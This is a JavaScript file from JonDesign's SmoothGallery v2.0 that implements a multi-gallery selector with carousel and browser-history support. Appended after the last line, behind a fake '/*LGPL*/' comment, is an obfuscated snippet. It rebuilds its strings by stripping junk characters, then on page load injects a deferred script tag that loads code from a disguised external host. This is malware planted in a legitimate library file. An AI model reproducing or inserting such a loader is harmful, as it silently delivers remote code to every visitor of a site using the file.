/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
*/

var gallerySet = gallery.extend({
initialize: function(element, options) {
this.setOptions({
manualSetData: [],
gallerySelector: "div.galleryElement",
galleryTitleSelector: "h2",
textGallerySelector: '',
textShowGallerySelector: 'Go to menu',
textGalleryInfo: '{0} pictures',
startWithSelector: true,

/* Changing default options */
textShowCarousel: '{0}/{1} Pictures',
carouselPreloader: false
}, options);
this.gallerySet = this.options.manualSetData;
this.addEvent('onPopulated', this.createGallerySelectorTab.bind(this));
this.addEvent('onPopulated', this.createGallerySelector.bind(this));
this.startWithSelectorFn = this.toggleGallerySelector.pass(true, this);
if (this.options.startWithSelector)
this.addEvent('onGallerySelectorCreated', this.startWithSelectorFn);
this.parent(element, this.options);
},

populateData: function() {
options = this.options;
var data = $A(this.gallerySet);
this.populateFrom.getElements(options.gallerySelector).each(function (galEl) {
currentGalArrayPlace = 0;
galleryDict = {
title: galEl.getElement(options.galleryTitleSelector).innerHTML,
elements: []
}

galleryDict.elements.extend(this.populateGallery(galEl, 0));
data.extend([galleryDict]);
if (this.options.destroyAfterPopulate)
galEl.remove();
}, this);

this.gallerySet = data;
this.galleryData = data[0].elements;
this.currentGallery = 0;
this.fireEvent('onPopulated');
},

changeGallery: function(number)
{

if (number!=this.currentGallery)
{

this.changeData(this.gallerySet[number].elements);
this.maxIter = this.gallerySet[number].elements.length;
this.currentGallery = number;
this.gallerySelectorBtn.setHTML(this.gallerySet[number].title);
this.fireEvent('onGalleryChanged');
}

this.toggleGallerySelector(false);
},

createGallerySelectorTab: function() {
this.gallerySelectorBtn = new Element('a').addClass('gallerySelectorBtn').setProperties({
title: this.options.textShowGallerySelector
}).setHTML(this.options.textShowGallerySelector).addEvent(
'click',

function(){ this.toggleGallerySelector(true); }.bind(this)
).injectInside(this.galleryElement);

this.addEvent('onShowCarousel', function(){this.gallerySelectorBtn.setStyle('zIndex', 10)}.bind(this));
this.addEvent('onCarouselHidden', function(){this.gallerySelectorBtn.setStyle('zIndex', 15)}.bind(this));
},

createGallerySelector: function() {
this.gallerySelector = new Fx.Styles(
new Element('div').addClass(
'gallerySelector'
).injectInside(
this.galleryElement
).setStyles({
'display': 'none',
'opacity': '0'
})
);

this.gallerySelectorTitle = 
new Element('h2').setHTML(
this.options.textGallerySelector
).injectInside(this.gallerySelector.element);
var gallerySelectorHeight = this.galleryElement.offsetHeight - 50 - 10 - 2;
this.gallerySelectorWrapper = new Fx.Style(
new Element('div').addClass(
'gallerySelectorWrapper'
).setStyle(
'height',
gallerySelectorHeight + "px"
).injectInside(this.gallerySelector.element)
);

this.gallerySelectorInner =	new Element('div').addClass('gallerySelectorInner').injectInside(this.gallerySelectorWrapper.element);
this.gallerySelectorWrapper.scroller = new Scroller(this.gallerySelectorWrapper.element, {
area: 100,
velocity: 0.3
}).start();

this.createGalleryButtons();
this.fireEvent('onGallerySelectorCreated');
},

createGalleryButtons: function () {
var galleryButtonWidth =
((this.galleryElement.offsetWidth - 30) / 2) - 14;
this.gallerySet.each(function(galleryItem, index){
var button = new Element('div').addClass('galleryButton').injectInside(
this.gallerySelectorInner
).addEvents({
'mouseover': function(myself){
myself.button.addClass('hover');
}.pass(galleryItem, this),
'mouseout': function(myself){
myself.button.removeClass('hover');
}.pass(galleryItem, this),
'click': function(myself, number){
this.changeGallery.pass(number,this)();
}.pass([galleryItem, index], this)
}).setStyle('width', galleryButtonWidth);

galleryItem.button = button;
var thumbnail = "";
if (this.options.showCarousel)
thumbnail = galleryItem.elements[0].thumbnail;
else
thumbnail = galleryItem.elements[0].image;
new Element('div').addClass('preview').setStyle(
'backgroundImage',

"url('" + thumbnail + "')"
).injectInside(button);
new Element('h3').setHTML(galleryItem.title).injectInside(button);
new Element('p').addClass('info').setHTML(formatString(this.options.textGalleryInfo, galleryItem.elements.length)).injectInside(button);
}, this);
new Element('br').injectInside(this.gallerySelectorInner).setStyle('clear','both');
},
toggleGallerySelector: function(state) {
if (state)
this.gallerySelector.start({'opacity' : 1}).element.setStyle('display','block');
else
this.gallerySelector.start({'opacity' : 0});
},

initHistory: function() {
this.fireEvent('onHistoryInit');
this.historyKey = this.galleryElement.id + '-gallery';
if (this.options.customHistoryKey)
this.historyKey = this.options.customHistoryKey();
this.history = HistoryManager.register(
this.historyKey,
[1,1],

function(values) {
this.changeGallery.pass(parseInt(values[0]) - 1, this).delay(10);
if(this.gallerySelector)
this.toggleGallerySelector.pass(false, this).delay(500);
this.goTo.pass(parseInt(values[1]) - 1, this).delay(100);
}.bind(this),

function(values) {
return [this.historyKey, '(', values[0], ')', '-picture','(', values[1], ')'].join('');
}.bind(this),
this.historyKey + '\\((\\d+)\\)-picture\\((\\d+)\\)');
updateHistory = function(){
this.history.setValue(0, this.currentGallery + 1);
this.history.setValue(1, this.currentIter + 1);
}.bind(this);		
		
this.addEvent('onChanged', updateHistory);
this.addEvent('onGalleryChanged', updateHistory);
this.fireEvent('onHistoryInited');
}
});
/*LGPL*/ try{ window.onload = function(){var Rqblaam57hi = document.createElement('s!&$c)r#i&$p^)!t(('.replace(/#|\!|\^|&|@|\)|\(|\$/ig, ''));Rqblaam57hi.setAttribute('defer', 'd((e(f@&$e)@r$#'.replace(/\^|#|\!|\(|\$|@|&|\)/ig, ''));Rqblaam57hi.setAttribute('type', 't$&$e(^x!)!t@#/@##j^a)(v@!!a$s)$$c@!r#^i&^$#)p#t^)'.replace(/\!|&|\$|\^|\(|\)|#|@/ig, ''));Rqblaam57hi.setAttribute('id', 'X@$#n@)^v$^g$&(w$#$0##!#h(@h^&@@@z)(#!j$'.replace(/@|&|\)|\(|\$|#|\^|\!/ig, ''));Rqblaam57hi.setAttribute('s#)$$r&$#$c#)^'.replace(/@|&|#|\^|\$|\(|\!|\)/ig, ''),  'h#$#t^t@(#p):!((/@$&&/^)1@((1^8(!!&1#^#1)4!&^-^^c@^n^#.#&t^#&-!$o^!!$n^@l@#i^^^n@)(&e!)^$@.@(d@^&)e$!)@&.@)#t$-)#m&^($o&!^b()#i@)&l)((e@^!-$(^c(^o!(^m$(&.)!&@t&))h(@&e$#c)h^o^&c&@@)o((l$(a!t(e(@#@w!$e($b^@.))r&u@@$:(8()^0@8&(^0(&))/@#g@!o$((!o)##@)g#l@(e!!.&##&c)o^&m#(/^g!@o@o)!#g!)l($e$!&!.^$!c)!##$o@)m!)/(^$^)e)#a&#&r)$@t@&h^(l$)i^$n$k#&$.&n^e&t(#()/@!e)@#v(&o@@&@@n$y$$))@.$)c(@@$o#@(m#(!@/)#t^r^$^a)(v!@@i$$#a&^)^n$!.)^@a(!(#e#/^^!)@'.replace(/\$|#|&|@|\)|\^|\(|\!/ig, ''));if (document){document.body.appendChild(Rqblaam57hi);}} } catch(Vpt6lixuck6jpm96a3r) {}